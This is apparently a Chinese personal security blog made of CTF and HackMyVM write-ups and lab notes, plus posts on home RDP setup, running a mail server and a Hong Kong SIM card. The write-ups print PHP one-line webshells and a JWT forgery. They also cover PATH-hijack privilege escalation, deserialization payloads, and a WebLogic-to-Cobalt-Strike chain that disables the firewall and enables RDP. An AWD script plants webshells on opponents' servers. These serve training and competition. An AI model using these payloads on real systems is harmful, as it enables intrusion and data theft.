可以看到有人提供，复制这段内容，打开这个路径C:\Program Files\RDP Wrapper。记事本打开rdpwrap.ini，拉到最下面，张贴进去

保存，然后重启你的电脑。重启后如果显示像我上面那样的三行绿就说明破解成功，你的家庭版也可以像其他windows一样接受远程控制了。此时我们回到刚才存放工具的目录，点开这个

它会尝试起一个本地链接来链接你的电脑，如果出现这个页面点击连接

如果能看到你的锁屏界面，那么就说明RDP功能已经开启成功了，接下来我们来配置端口和认证方式。

重新点开这个

你可以参考我的选项来。这里为了不暴露我使用的端口号就调回了3389，当然你也可以自己选一个端口，只要不和你已知的服务冲突

（这段话新手可以跳过不看）另外我需要向懂windows登录验证模式的朋友解释一下这里为什么选择default RDP auth而不是更安全的网络级验证，因为我实在没搞懂它在网络级验证登录窗口要我提供的账号密码是什么，尽管我已经留下了密码凭证但依旧没法使用我的microsoft账户或者windows hello登录。唯独没尝试将我的用户设置为本地用户，因为这会使我失去很多依赖的功能，所以我决定还是用默认RDP验证

配置完成后点击apply，然后再次重启你的电脑，接着我们来配置防火墙。

打开控制面板->系统和安全->Windows Defender防火墙->高级设置->入站规则->新建规则

最后名称和描述随意。完成后你应该能找到一条和我一样的规则

此时你的电脑就已经可以被你的局域网设备访问了，下一步就是要让你的电脑在公网上也能被链接到

地址解析

首先我们肯定不可能自己记v6地址，这玩意不像v4还有记住的可能，而是又臭又长。所以我们就需要一个域名来解决这个问题。这里我选择到porkbun买大家也可以自行到其他国外域名提供商购买，例如namesilo。为什么不到国内的买？因为国内需要备案，需要比较长的等待时间，如果你是和我一样已经迫不及待想开始使用的，就推荐直接找国外的域名商购买

购买完成后，我们就要想办法把自己ip解析上去。但由运营商直接提供的公网ip不像你买的vps那种IDC机房分发的一样固定，而是几乎隔两天就更新一次（具体频率随各个地区运营商不同），所以如果手动解析就会变得很麻烦，我们就需要ddns

[靶场笔记]第二十四章

Thu, 17 Apr 2025 00:00:00 +0800

Fast destruct

来看一个例子

<?php
class A{
public $haha=1;
public function __destruct()
{
echo 3;
}
}
$a=new A;
$b=serialize($a);
$test=unserialize($b);
$test->haha=2;
echo $test->haha;
//233

可以发现一个很有意思的点，在unserialize和serialize两个函数结束后都没有马上执行echo 3;，而是在最后执行完echo $test->haha;才执行，原理如下

如果单独执行unserialize函数进行常规的反序列化，那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期，当这个函数执行完毕，这个类就没了，在有析构函数的情况下就会执行它。
如果反序列化函数序列化出来的对象被赋给了程序中的变量，那么被反序列化的对象其生命周期就会变长，由于它一直都存在于这个变量当中，当这个对象被销毁，才会执行其析构函数。

而有时候我们必须让destruct在unserialize结束后马上结束，就要用到fast destruct。操作起来很简单，一种方式就是修改序列化字符串的结构，使得完成部分反序列化的unserialize强制退出，提前触发__destruct，其中的几种方式如下

#修改序列化数字元素个数
a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}}
#去掉序列化尾部 }
a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}

本质上，fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出，为了销毁之前建立的对象内存空间，会立刻调用对象的__destruct(),提前触发反序列化链条。

serialize(unserialize($x)) != $x

先来看个正常的反序列过程

<?php
class A{
public $a='b';
}
$raw='O:1:"A":1:{s:1:"a";s:1:"b";}';
var_dump(unserialize($raw));
//
object(A)#1 (1) {
["a"]=>
string(1) "b"
}

理论上，serialize(unserialize($raw))应该就等于$raw本身，但存在一种特殊情况会导致不相等，在讨论前先来看一下下面这个例子

在php中有一个预置类叫__PHP_Incomplete_Class，用来存放“需要进行反序列化的不存在的对象”。什么意思呢，就像下面这样

<?php
$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';
echo serialize(unserialize($raw));
//O:1:"A":1:{s:1:"a";s:1:"b";}

在这个脚本中并不存在A这个类，但还是反序列化再序列化成功了。来看看它怎么反序列化成功的

<?php
$raw='O:1:"A":1:{s:1:"a";s:1:"b";}';
var_dump(unserialize($raw));
//
object(__PHP_Incomplete_Class)#1 (2) {
["__PHP_Incomplete_Class_Name"]=>
string(1) "A"
["a"]=>
string(1) "b"
}

可以看到php把这个不存在的对象放到了__PHP_Incomplete_Class，类名为放到__PHP_Incomplete_Class_Name，剩下部分的放置和正常反序列化一样。那如果我们把__PHP_Incomplete_Class作为已知类进行反序列化呢

HMV NoPort | Writeup

Wed, 09 Apr 2025 00:00:00 +0800

主机发现后先扫一下端口

只有一个80端口，接着扫目录

发现有.git，直接githack下来

会发现有一个swp状态的文件

先vim -r .test.php.swp恢复一下，然后复制保存，把所有clone下来的东西拖到vscode里开始审计

先来看看nginx和apache，因为一般会起两个服务并且题目只提供一个端口应该是有前后关系

nginx.conf里可以看到用户为www-data，启用了proxy_cache，也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知，继续往下看

引用了ctf.conf

可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080，并且配置文件里没有提到是nginx起的php-fpm，再结合有个apache，因此推测内部拓补大概就长这样

并且可以发现，nginx会将你访问的静态文件缓存下来，这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php

在index.php可以归结出3种路由

第一种是visit

可以看到这个路径主要作用是去访问test.php，这个放到一会儿再看。

第二种是login，这个没什么好说，就是判断是否正确登陆，成功后跳转到一个叫sh3ll.php的地方

第三种是其他路径，也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由，并且想要触发这两个路由都需要在通过验证的情况下才可以进入

一种是路径中带profile字样，就给你放回你当前来访问这个路由的用户的账号信息，包括密码

第二种是直接去访问路径里的其他文件

接下来看一下test.php。日志的文件名被写死，基本不可能利用写入恶意代码的方式。

接下去是调用bot_runner函数，这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后，允许你携带管理员的cookie去访问你给的uri。

我们可以发现，虽然bot_runner函数会帮我们访问没错，但是并不会携带访问结果，也就是你看不到respones，所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能，设想一下，如果我们能将respones保存在一个静态文件里，不就可以看了吗？

所以我们可以构造这样一个payload

uri=profile/1.css

可以设想一下，当管理员访问了profile后，php会返回密码，而nginx则会认为profile/1是一个css文件的文件名从而将页面内容缓存下来，这样只要我们访问profile/1.css就能得到结果

拿到密码后发现直接用这串密码是sha256加密过的，需要爆破

把密码存进hash文件里，直接上rockyou

hashcat -m 1400 -a 0 hash rockyou.txt

得到明文starbucks

登陆后看到可以执行命令

直接写一句马上蚁剑

echo -n '<?php eval($_POST[1]);?>' > 1.php

在/var/www看到一个文件pass

翻译过来就是用户密码就是前面我们拿到的那个登录密码，尝试直接su会发现没有权限，所以应该是有别的方法。在/opt/hello下发现一个readme

翻译过来就是nginx会随着机器的重启而重启，下面附了一个建议，建议我们先在本地测试好nginx配置以免因配置错误导致服务崩溃

并在home下发现用户名

先看一下sudo -l，发现可以reboot

并且发现ssh服务，但是监听的是127，所以要想办法把这个端口映射出去

那就到nginx配置目录下看看

HMV Tryharder | Writeup

Wed, 09 Apr 2025 00:00:00 +0800

第一个一血，记录一下

Foothood

打开后发现有一个API调试路径

进来后是一个登录框

接着bp直接爆破，

进来后抓个包发现是jwt

直接丢到jwt.io看一下

很典的HS256，空密钥改admin，然后丢jwt_tool里先梭一把试试

上来了，接着直接传马发现不对劲

上.htaccess

拿下

连蚁剑，方便后面操作

直接冲/home，看一下能不能读，发现可以直接读flag

提权 - pentester

接着应该就是要想办法先拿到pentester，看一下/etc/passwd

看不懂思密达，丢给d老师问一下

感觉没啥用，那就只能继续信息搜集。这里卡了好一会儿，直到去opt逛了逛，发现他们几个

有nc，先弹个shell

跑一下pty，再跑一下pspy64

发现srv下面有东西，去看看

（这是在致敬2025 CCB吗= =）

拿刚才GECOS里的文本对照一下

发现有些字符不一样，就可以联想到二进制，一样的是1，不一样的是0（或者一样的是0，不一样的是1，两个我都试了一下）让d老师搓一个脚本对比就行

提取 - xiix

发现没有netstat，那就直接上fscan

有个8989，并且联想到刚才被xiix执行的backdoor.py，直接nc梭一波试试

提权 - root

写authorized_keys上来后，发现有个guess_game，跑一下

emm运气得留在更重要的地方🙏所以找找有没有别的办法，因为是游戏，所以第一时间想到可能留有后门。看一下env

有个1337，试试？

[HMV]第二章

Mon, 31 Mar 2025 00:00:00 +0800

7066端口

这个端口一般是马，可以直接用nc连试试。不过可能会断联，nmap也可能探测不出来，要多尝试几次

bash中的比较

如果使用-ne，-eq等比较两个值是否相等的办法，会先将变量作为表达式进行执行解析，尝试转化为整数。例如

read -p ">>>" a
b=456
if [[ $a -eq $b ]]; then #这里注意，[[]]里要用空格和$a、$b隔开，不然会报错
echo "right"
else
echo "wrong"
fi

可以发现b被直接拿去解析了。就算加引号也会递归

read -p ">>>" a
b="c"
c=123
if [[ "$a" -eq "$b" ]]; then
echo "right"
else
echo "wrong"
fi

代码里是加了""的，但是在debug模式下就不见了，说明bash确实会执行给的表达式

那我们就可以利用递归这一点进行利用。先试试数组

成功利用，试试c[1]

因为c[1]是空的所以是wrong。接着再试试算式

成功执行，那就试试$()吧

wine提权

wine是用来转椅windows程序的，并且自带了windows的cmd环境。如果wine有sudo，可以直接用sudo wine cmd拿到拥有root权限的cmd

当然要是不行的话，也可以用cs上线的方式拿到shell。msfvenom会报错，原因不明。

PATH提权

和windows里的path环境变量有点类似，linux下的PATH一般指向程序的运行路径。例如我们常用的cat,ls等指令，之所以可以直接执行而不用在前面加一大串路径就是因为PATH里给你写好了，比如这是我自己的kali PATH

只要在这些路径下的可执行程序或脚本都可以直接上。

那么这就有可以操作的空间，如果某天你碰到一个开发者自己编译的程序，用string看到里面调用了cat或者ls，并且有suid，那么只需要做下面这波操作就能提权。下面以cat为例

export PATH=/tmp:PATH
echo -e '#!/bin/bash\nbash -p' > /tmp/cat
chmod +x /tmp/cat
./开发者的程序

24-25下半学年第二次线上赛 | Writeup

Mon, 31 Mar 2025 00:00:00 +0800

莫斯档案馆

每一层有一个pwd.png和一个压缩包，pwd.png是一个彩色条纹和圆点的非常小的图像，也就是摩斯密码，套了很多很多层，写脚本去识别摩斯密码，并递归解压。

from PIL import Image
import re
def getMorse(image):
"""
从图像中提取莫尔斯电码
假定背景颜色是固定的，莫尔斯电码具有不同的颜色。
莫尔斯电码可以是任何颜色，只要它与左上像素的颜色不同。
>>> getMorse('pwd.png')
['----.']
"""
im = Image.open(image, 'r')
chars = []
background = im.getdata()[0]
for i, v in enumerate(list(im.getdata())):
if v == background:
chars.append(" ")
else:
chars.append("*")
output = "".join(chars)
# 清理输出，去除前后的空白
# 然后将每组3个星号转换为短横线
# 将星号转换为实际的点
# 将字母之间的空格（即>1个背景像素）转换为分隔符
# 删除空白
# 返回字母的列表
output = re.sub(r'^\s*', '', output)
output = re.sub(r'\s*$', '', output)
output = re.sub(r'\*{3}', '-', output)
output = re.sub(r'\*', '.', output)
output = re.sub(r'\s{2,}', ' | ', output)
output = re.sub(r'\s', '', output)
output = output.split('|')
return output
def getPassword(morse):
"""
解码莫尔斯电码
将莫尔斯电码转换回文本。
以字母列表为输入，返回转换后的文本。
注意，挑战使用小写字母。
>>> getPassword(['----.'])
'9'
"""
MORSE_CODE_DICT = {
'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D',
'.': 'E', '..-.': 'F', '--.': 'G', '....': 'H',
'..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L',
'--': 'M', '-.': 'N', '---': 'O', '.--.': 'P',
'--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
'..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X',
'-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1',
'..---': '2', '...--': '3', '....-': '4', '.....': '5',
'-....': '6', '--...': '7', '---..': '8', '----.': '9',
'-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?',
'-.--.': '(', '-....-': '-', '--..--': ','
}
for item in morse:
return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower()
def main():
"""
自动启动
用于自动化。
自动调用方法并使用'pwd.png'作为输入图像。
"""
print(getPassword(getMorse("pwd.png")))
if __name__ == "__main__":
main()

并使用sh脚本去循环执行

[技术杂谈]安全的个人邮箱服务搭建

Fri, 28 Mar 2025 00:00:00 +0800

⚠️本篇属于过程回忆，我的搭建过程并不完全按照文章路线来，期间解决dovect和certbot导致我的整个搭建过程比较混乱，本篇文章是事后总结出的一条比较可靠的搭建路线，如果照着文章搭建有概率碰到奇怪的小问题，毕竟我也没有验证^_^

一个合格的hacker一定有一个自己的邮箱地址和服务

我的搭建环境为AWS送的一年EC2，系统Debian（一年后到期再说吧= =

域名为porkbun买的.space，并套上cf监控域名访问情况（如果有小可爱在渗透就可以看到）

采购阶段

首先是域名，这个没啥好说的，想在哪里买域名都可以

不过有个比较想骂人的地方是在porkbun买的时候碰到身边七年老用户都没见过的逆天支付bug

成功付款后域名并未到账= = 当时急得不行，发邮件反馈等了一天，最后官方给我平台自己的等值货币

但是……

处理很人性化，后来朋友说应该是striple接口的问题而不是porkbun的问题，所以大家要想用porkbun还是可以放心用，要是碰到我这样的情况也别慌，发邮件反馈，一天内就会回复（应该不是每个人都有我这样的bug触发圣体……

然后是vps，EC2领取教程网上一搜一把，我就不多介绍了

搭建阶段

1 - 安装postfix和dovecot并进行基本配置

AWS选择debian系统，进去后先安装postfix和devocot。前者用于发件，后者用于收件

sudo apt update && sudo apt upgrade -y
sudo apt install postfix dovecot-core dovecot-imapd mailutils -y

这里我没有安装pop3，如果需要pop3可以再加一句apt install dovecot-pop3d -y

顺便简单介绍一下pop3和imap的区别

POP3： POP3通过将邮件从服务器下载到本地设备（如电脑或手机）来工作。下载后，邮件通常会从服务器上删除（除非手动设置保留副本）。它更像是一种“取走邮件”的方式，适合离线阅读。
IMAP： IMAP允许你在服务器上直接管理和查看邮件，而无需将它们下载到本地设备。本地设备只是显示服务器上的邮件内容，所有操作（如删除、移动文件夹）都会同步到服务器。

接着配置postfix

vim /etc/postfix/main.cf
myhostname = yourdomainname.com
mydomain = yourdomainname.com
myorigin = /etc/mailname
mydestination = $myhostname, localhost.$mydomain, localhost
inet_interfaces = all
inet_protocols = all
home_mailbox = Maildir/

然后配置dovecot，首先配置主文件

[靶场笔记]第二十三章

Fri, 21 Mar 2025 00:00:00 +0800

PHP中的特殊md5值

之前碰到过很多md5绕过的小技巧，但是很少提到md5本身的特殊值（印象中只有一个万能密码）。在PHP中，INF和NAN分别表示最大值和最小值，此时如果有类似下面这样的判断条件

if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}

就可以利用INF的特性绕过。因为在PHP中，像9e999999这样庞大的数字时没法超过INF的，所以PHP就会干脆把它直接当成INF，所以INF和9e999999的md5值是相等的。需要注意的是，INF可以是字符串也可以是一种数据，也就是说不用加单引号，因为不管是字符串还是无穷大在md5时都会被当作无穷大(这点就很有意思，可能存在其他的绕过漏洞)。但9e999999一定不能加单引号，否则会被当作字符串

命名空间

之前比较少提到这个，因为国内ctf的php pop题大都是在一个文件里实现的。不过今天偶然遇到了跨文件的pop链构造，就顺便记录一下

想下面这样，就是一个命名空间内的拓展类的定义

namespace Helpers{
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}

意思就是定义了一个叫Helpers命名空间，在这个命名空间里可以随意定义各种变量、类的名字，不会和php自带的根空间冲突。比如这个ArrayHelpers就有可能会和php某个自带的函数名冲突，所以才需要再创建一个命名空间来避免这种冲突。

并且ArrayHelpers是ArrayIterator的扩展类，可以看到代码里还use了一下，说明它希望使用ArrayIterator这个命名空间里的一些函数，而不是使用php自带的。比如下面的current

假设这段代码被单独放到一个文件里，那么要引用他就需要先将这个文件include一下，然后再use

这里有一个很重要的细节，就是Helpers\ArrayHelpers和\Helpers\ArrayHelpers本质上是两种完全不同的东西。其实就和绝对/相对路径的道理一样，前者是当前命名空间下的命名空间引用，后者是从根空间开始引用。

如果在构造pop链的时候发现语法正确但无响应，就可以检查一下是不是命名空间的路径错了

java h2数据库

这是java自带的一种嵌入式数据库，之所以叫嵌入式，不仅是因为它可以被当成java的包被import，跟重要的是它能够执行java代码。也就是说，一旦存在sql拼接，像下面这样存在sql注入的话

String query = String.format("Select * from notes where name ='%s' ", name);

就可以通过创建alias调用java代码，从而达到RCE的效果

[靶场笔记]第二十三章

Fri, 21 Mar 2025 00:00:00 +0800

PHP中的特殊md5值

if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}

命名空间

之前比较少提到这个，因为国内ctf的php pop题大都是在一个文件里实现的。不过今天偶然遇到了跨文件的pop链构造，就顺便记录一下

想下面这样，就是一个命名空间内的拓展类的定义

namespace Helpers{
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}

假设这段代码被单独放到一个文件里，那么要引用他就需要先将这个文件include一下，然后再use

如果在构造pop链的时候发现语法正确但无响应，就可以检查一下是不是命名空间的路径错了

java h2数据库

String query = String.format("Select * from notes where name ='%s' ", name);

就可以通过创建alias调用java代码，从而达到RCE的效果

2025长城杯半决赛 | Writeup

Tue, 18 Mar 2025 00:00:00 +0800

AWDP

CCforum

粗略审计后大概可以知道应该是要先登陆进admin.php，但sql语句全部做了预编译所以没法注入，试了一下通过爆破可以获取到admin.php的账号密码。登陆进去后再看有什么利用点

入口没有什么特别的，可以直接先看到login的逻辑

可以看到把通过验证的用户名写到了session里，接着看reply.php和post.php会发现都有一个敏感词过滤。并且他们调用的$username都是session里的明文用户名

跟进到config.php看这两个函数

可以看到record_banned函数里主要干了三件事

拿用户名base64的结果创建目录
判断是否创建成功，如果创建成功就正常写入被过滤的敏感词。创建失败有两个分支，一个是文件夹创建失败，会把用户名明文拿去和日志信息做拼接；一个是banned日志文件创建失败，直接写入一串信息，没有拼接。
最后将第二点走完的结果用log_action函数写到总日志里（这里又个很容易掉进去的陷阱，就是日志其实是有两份的，一个是总日志access.log，一个是banned日志。我们能作拼接任意写入操作的其实是总日志。）

到这里其实已经可以达到写入任意字符串的目的，但还不能说明什么，因为写入的地址并不能被访问，而且文件名是固定的，所以直接上马可能性不大，得找地方利用这个允许我们随意写东西的地方。

看回刚刚爆破开的admin.php，在登陆验证逻辑过后紧接着这一段

可以看到它把log文件读到变量$action_log，接着$log_lines再以换行作为分隔符将日志作切割。这里我们再看回到config.php，来看一下日志是怎么写的。

可以看到$log_file变量就是以换行为结尾的，并且以逗号为分割。所以我们继续往下看admin.php。可以发现我们写入的东西都会被处理完后放到对应的变量里，而只有$additional_info是我们可以控制的（$encoded_user是base64，控制不了）。

接着往下看

这段代码将$encoded_user作为用户名拼接路径，然后再把路径的内容读出来。那么利用思路就清晰了，我们刚才一直在找的任意写入应该就是在这里发挥用处，也就是控制$encoded_user。但这不就和上面说的不能控制矛盾了吗？有什么办法可以通过$additional_info来控制$encoded_user吗？

如果你的思维足够跳跃，应该就能想到用任意文件写入来写入换行，以此在$additional_info来创建一条假日志。这样我们就能控制这条假日志的用户名了。说起来有点抽象，我们来看个具体的例子

这是根据log_action函数生成出来的日志，大概像下面这样

1,abwidab,admin_login,1,\n //log_action($username, 'admin_login', 1);
2,dqbvwwfqiq,register,1,\n //log_action($username, 'register', 1);
3,wqifbqwibc,record_banned,0,Failed to record banned content\n //当record_banned无法创建目录但可以创建文件时log_action($username, 'record_banned', 0, 'Failed to record banned content');
4,wqifbqwibc,record_banned,0,Failed to create record directory for 这里拼接任意字符串\n //当record_banned无法创建目录但可以创建文件时log_action($username, 'record_banned', 0, 'Failed to create record directory for '.$username);

那么username应该输入什么呢？示例如下

2,dqbvwwfqiq,register,1,\n
4,wqifbqwibc,record_banned,0,Failed to create record directory for \n
11,../flag,record_banned,1,111\n

而我们输入的用户名就是

24-25下半学年第二次线下赛 | Writeup

Fri, 14 Mar 2025 00:00:00 +0800

只开了一台靶机。这里我以本地的环境为例简单讲一些重要的指令和过程

外网打点

除了回环地址和我的物理机外，设备有两台，.80和.201

用fscan扫一下

只能扫到.80，应该是.201有防火墙，那就从这台开始入手

重点放在服务上，会发现7001端口开了http。这个端口一般是weblogic，所以直接上工具（shack2/javaserializetools）

检查发现存在CVE2017，换个工具(sp4zcmd/WeblogicExploit-GUI)直接上冰蝎马

先确保能执行

然后直接上马。建议上完内存马再上一个webshell，因为实测起来内存马容易连不上

这里要注意冰蝎启动前先换到11或17，否则会出现连不上的情况（没有的话可以用apt install openjdk-17-dev安装）

这里我连webshell

成功上线

上来后选择虚拟终端先再命令执行页面执行whoami查看权限

目的是查看权限和确保马能正常使用。接着为了方便内网信息搜集，所以要上CS或者msf。这里我选择CS，但是如果直接上Beacon会被杀软干掉，所以我们要想办法绕过。一种办法是做免杀马，但比较麻烦，所以我们选择用CS的Web Drive-by绕

首先监听器是必须的，就不演示了

接着选择Attack->Web Drive-by->script web delivcery

点击Launch后会给你一段powershell的马，直接再冰蝎运行即可，等待十五秒左右就能上线

接着修改sleep，然后进行提权和内网信息搜集。

不过如果你想用msf内置的CVE拿meterpreter也是可以，只不过后面提权msf会遇到问题，还是得转到CS。如果你用的是msf，想转到CS，可以用下面的方法来

首先还是在CS弄好监听器，

接着将meterpreter放到background，接着按下面的步骤来设置

就能成功上线CS

内网横向

先提权，SVC即可

接着关防火墙，开3389

netsh firewall set opmode disable
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

接着扫目标，可以用portscan也可以用net view（查看域存活主机）。当然要是你想上fscan也可以，只不过有360所以被干掉的概率比较大

就能看到10段的内网靶机列表。不知道怎么进入这个列表去看第一场wp

当然，如果你想看是否有360，只需要点击下port scan下面的process list就可以看到

24-25下半学年第一次线下赛 | Writeup

Mon, 10 Mar 2025 00:00:00 +0800

取证赛道

计算机、U盘、APK、手机

2024数证杯初赛 - WXjzc - 博客园

服务器

服务器1

直接用md5sum算出即可：a2444b61b65be96fc2e65924dee8febd

服务器2

直接用strings就能梭出来

strings ubuntu-client-Snapshot2.vmem | grep ubuntu-client

服务器3

通过上一题可以发现两个接口/connect和/upload/

strings ubuntu-client command." loading="lazy" src="images/figure_task_3_1_hu8af2961df02ca5c37c710cdfcf461190_60701_e56754559befe02598bf6079339a7d31.webp">

尝试在GDB中运行ubuntu-client，但缺少libcrypto.so.1.1库

使用以下命令下载并编译缺失的库：

wget -c https://www.openssl.org/source/openssl-1.1.1s.tar.gz && \
tar xf openssl-1.1.1s.tar.gz && \
cd openssl-1.1.1s/ && \
./config --prefix="/usr/local/openssl" && \
make

使用环境变量LD_LIBRARY_PATH指定GDB查找依赖库的路径：

LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/michal/openssl-1.1.1s gdb ubuntu-client

使用GDB扩展peda来辅助分析，用info functions命令列出恶意软件使用的函数，注意到curl_easy_setopt@plt，这是一个用于建立curl连接的函数

在curl_easy_setopt函数上设置断点：

b curl_easy_setopt

开始调试：

run xGonnaGiveIt2Ya

就能发现地址

服务器4

根据上一题，可以直接得出：https://plankton-app-3qigq.ondigitalocean.app/upload/

服务器5

因为提供的内存转储文件无法被Volatility正确处理，所以要先确定生成转储文件的机器所使用的内核版本。

通过运行命令python3 vol.py -f ../ubuntu-client-Snapshot2.vmem banners，可以确定Ubuntu使用的内核版本是5.4.0-163-generic

接着使用这个仓库，并将其内容复制到volatility3/symbols/linux目录中，然后查找与执行命令ubuntu-client xGonnaGiveIt2Ya时间对应的.service文件

[技术杂谈]香港电话卡hahasim激活小记

Mon, 03 Mar 2025 00:00:00 +0800

其实激活步骤很简单，但因为我的需求比较特殊，所以如果你是正在找hahasim激活教程并且有和我一样需求的，希望这篇文章可以帮到你

前言

算一篇小日记

昨天下午刚去把陪伴（折磨）了我一年的美版T-mobile锁iphone 14 (product)RED卖掉TwT

2024年对我而言挺特殊的，这台手机也跟着我去了好多地方，虽然它有锁还经常掉信号，但毕竟承载了我一整个2024年的回忆

小红和卡贴最终还是去了它们该去的地方（回收站），最后给它拍的一张照

最终换了975RMB，买的时候2700，折损率算还能接受，毕竟出之前还被朋友吓唬水货卖不出去= =

而且换上了最新的国行16e啦

所以终于可以试试参加完HKcert CTF从香港带回来的土特产了XD

正片

因为我有两台手机，一台是安卓，一台是ios，一开始的想法是直接在安卓上插卡激活，就在安卓上用就好

按照官方教程，查卡，等了差不多3分钟短信拿到手机号，到短信连接下载haha travel。结果一打开就出现这个弹窗

后面发现有个博主说好像是这个连接里给的apk文件的有问题，需要到google play下载。但奈何我是HUAWEI，下google play这条路显然很麻烦，所以我就把目光扫向旁边的iphone

一样是下载好haha travel

此时我的卡还在安卓机上，在输入完ICCID和手机号之后会弹出一个“装置未登记”的提示，这显然不正常，后面又看到有个博主说它好像在绑定ICCID的时候还会登记IMEI，也就是手机卡槽。如果SIM卡正在使用的卡槽和当前正在使用haha travel登记的IMEI匹配不上就会出现这个问题，所以只能把卡取出来插到iphone上

后台关掉haha travel，重新打开并登记，这回终于成功了

此时我想试一试短信接收功能，毕竟这张卡最有性价比的地方就是全球短信接收免费。于是便打开raddit注册试了一下

结果发现并没有接收到短信，不管发几条都一样。后面查了一下发现有人说是因为必须要强制实名了？

怎么可以！当初买这张卡的目的就是为了免实名当接码号，于是便又看了一遍短信里写的规则——有效期至02/03/2026，并且根据之前对香港卡做的攻略来看，服务包需要有消费才算正式激活，所以我就到首页随便买了个最便宜的10块钱内地套餐

到设置打开数据漫游后再次尝试，发现确实能收到短信了

后记

开的流量包10HKD，有效期只有1天，而且只有500MB= = 这对习惯了动辄几百G流量套餐的大陆用户来说都不够刷五分钟短视频

来看一下基本的数据

分配到的ip和dns都是香港，google可以直连正常使用。使用的运营商是中国移动（听说也有联通，但是没搜到联通的信号）

HKcert CTF 2024 final mini-ad | Writeup

Mon, 03 Mar 2025 00:00:00 +0800

全网第一篇wp^ ^（本来回来那天就该写了，拖延症硬是拖到现在……）

由于这题的阉割版被我放在线上赛，如果想直接看线上赛题解可以直接在目录里只看初步分析即可

目录结构&主要文件

docker-compose.yaml

拓补图如下

只有proxy和ssh分配到内网ip。proxy设计得很聪明，作用是防止反弹shell，只能通过上马直连的方式获取有限的命令执行，拿不到tty，而且也防止了安插诸如mitmproxy这类中间人流量监控，保证自己的流量不被别人监听

接着就来直接分析一下web的代码

初步分析

只有一个后端文件post.php，前端给了三个种选项。lev2是直接发消息并保存到messages，lev4是添加token鉴权，lev7是在token鉴权基础上使用qrcode编码消息。

全审一遍后会发现，除了file_put_content能直接写入东西外，危险函数只有两个include和一个shell_exec

所以入手的思路就有两种

通过lev2/4写shell.php，直接访问messages/shell.php或用post.php?name=shell.php&level=2
通过lev7做命令截断，例如message=;echo \'<?php system($_GET["cmd"])?>\' > messages/{name}.php

但因为是awd，所以要进一步来做防御和持久化

实况回忆

能进入到线下赛的队伍肯定和我们一样都是久经沙场的老手，比赛刚开始的时候一看awd，大家也都马上拿出预存的现成一句马批量种植脚本，很快拿到前几轮flag。所以前8轮大家都是差不多的重复播种一句马，从这之后才开始出现画风突变，什么不死马、隐身文件，甚至只在文章里见过的RSA加密马这次还真在实战里碰上了XD 别的题我不清楚，但每个队伍负责这道题的web手们可以说在别人家的靶机上偷flag偷得是相当欢乐🌚

在大概30轮左右的时候，其实大家在短时间内能想出来的招数也已经差不多都使完了，不过我在比赛之前就料想到可能会有awd这么一环，根据以往的经验，我便决定采取“敌先动我不动”的策略，除了最开始的一句马脚本在接着跑grep 'flag'以外，在批量脚本里我还加上一句cat *，开始到处搜刮其他人靶机上留下的马

所以接下来的木马升级，我的核心思想就是“你的马就是我的马”和“我读不到谁也别想读到”😈，~~让歪果仁见识一下熟读孙子兵法的中国民间黑客的石粒！~~

木马设计

先放上我最开始的一句马脚本，后面的脚本都是在这个框架的基础上做修改

import requests
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
# 从 ip 文件中读取目标 IP 地址
def read_ips():
try:
with open("ip", "r") as file:
ips = file.read().splitlines()
return ips
except FileNotFoundError:
print("错误：未找到 ip 文件。请确保目标 IP 列表文件存在。")
return []
# 目标 URL 和参数
def get_target_url(ip):
return f"http://{ip}/post.php"
def get_file_url(ip):
return f"http://{ip}/messages/akared555.php"
PARAMS = {
"name": "akared555.php",
"message": "<?php system(\"grep -r 'MINIAD{' . && cat *\");?>",
"level": "2",
}
# 请求头
HEADERS = {
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Content-Length": "0",
"Origin": "http://43.199.161.42",
"Pragma": "no-cache",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}
def upload_file(target_url):
"""
上传文件到目标服务器
"""
try:
response = requests.post(
target_url,
params=PARAMS,
headers=HEADERS,
verify=False # 忽略 SSL 证书验证
)
return response.status_code == 200
except requests.RequestException:
return False
def check_flag(file_url):
"""
检查上传的文件内容是否包含以 MINIAD{ 开头的 flag
"""
try:
response = requests.get(file_url, headers=HEADERS, verify=False)
if response.status_code == 200:
content = response.text
# 使用正则表达式查找以 MINIAD{ 开头的 flag
flag_match = re.search(r"MINIAD\{.*?\}", content)
if flag_match:
